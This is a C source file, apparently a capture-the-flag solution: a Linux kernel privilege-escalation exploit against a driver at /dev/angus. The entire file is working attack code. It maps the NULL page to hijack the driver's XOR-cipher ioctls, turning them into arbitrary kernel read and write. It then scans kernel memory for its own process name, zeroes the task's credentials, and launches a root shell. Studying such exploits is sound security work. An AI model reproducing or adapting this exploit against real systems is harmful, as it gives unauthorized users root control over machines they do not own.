1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
| #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/mman.h> #include <sys/ioctl.h>
#define CMD_INIT 0x13370001 #define CMD_SETKEY 0x13370002 #define CMD_SETDATA 0x13370003 #define CMD_GETDATA 0x13370004 #define CMD_ENCRYPT 0x13370005 #define CMD_DECRYPT 0x13370006
typedef struct { char *key; char *data; size_t keylen; size_t datalen; } XorCipher;
typedef struct { char *ptr; size_t len; } request_t;
int fd; XorCipher *nullptr = NULL;
int angus_init ( void ) { request_t req = { NULL }; return ioctl(fd, CMD_INIT, &req); } int angus_setkey ( char *key, size_t keylen) { request_t req = { .ptr = key, .len = keylen }; return ioctl(fd, CMD_SETKEY, &req); }
int angus_setdata ( char *data, size_t datalen) { request_t req = { .ptr = data, .len = datalen }; return ioctl (fd, CMD_SETDATA, &req); }
int angus_getdata ( char *data, size_t datalen) { request_t req = { .ptr = data, .len = datalen }; return ioctl(fd, CMD_GETDATA, &req); }
int angus_decrypt () { request_t req = { NULL }; return ioctl(fd, CMD_ENCRYPT, &req) ; }
int angus_encrypt() { request_t req = { NULL }; return ioctl(fd, CMD_ENCRYPT, &req) ; }
void errorinfo(char *s) { puts(s); exit(1); }
int AAR ( char *dst, char *src, size_t len) { nullptr->data = src; nullptr->datalen = len; return angus_getdata(dst, len); }
void AAW ( char *dst, char *src, size_t len) { char *temp = (char*)malloc(len); AAR(temp, dst, len); for (int i = 0; i < len; i++) { temp[i] ^= src[i]; } nullptr->data = dst; nullptr->datalen = len; nullptr->key = temp; nullptr->keylen = len; angus_encrypt(); free(temp); }
int main() { fd = open("/dev/angus", O_RDWR); if (fd < 0) { errorinfo("open failed!"); } if (mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1 , 0 ) != NULL) errorinfo("mmap faile1!");
prctl(PR_SET_NAME, "triplej"); size_t addr; size_t stride = 0x1000000; char *needle, *buf = malloc(stride); if (!buf) { errorinfo("malloc failed!"); } for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) { if (addr % 0x10000000000 == 0) printf("[*] Searching 0x%016lx...\n", addr); if (AAR(buf, (char*)addr, stride) != 0) continue; if (needle = memmem(buf, stride, "triplej", 7)) { addr += (needle - buf); printf("[+] Found comm: 0x%016lx\n", addr); break; } } if (addr == 0xffffc88000000000) { puts("[-] Not found"); exit(1); } size_t addr_cred; printf("[+] addr :0x%016lx\n",addr); AAR((char*)&addr_cred,(char*)(addr-8),8); printf("[+] cred: 0x%016lx\n", addr_cred);
AAR((char*)&addr_cred,(char*)(addr-16),8); printf("[+] cred: 0x%016lx\n", addr_cred);
char rootcred[0x20]={0}; AAW((char*)(addr_cred+4),rootcred,0x20); system("/bin/sh"); return 0;
}
|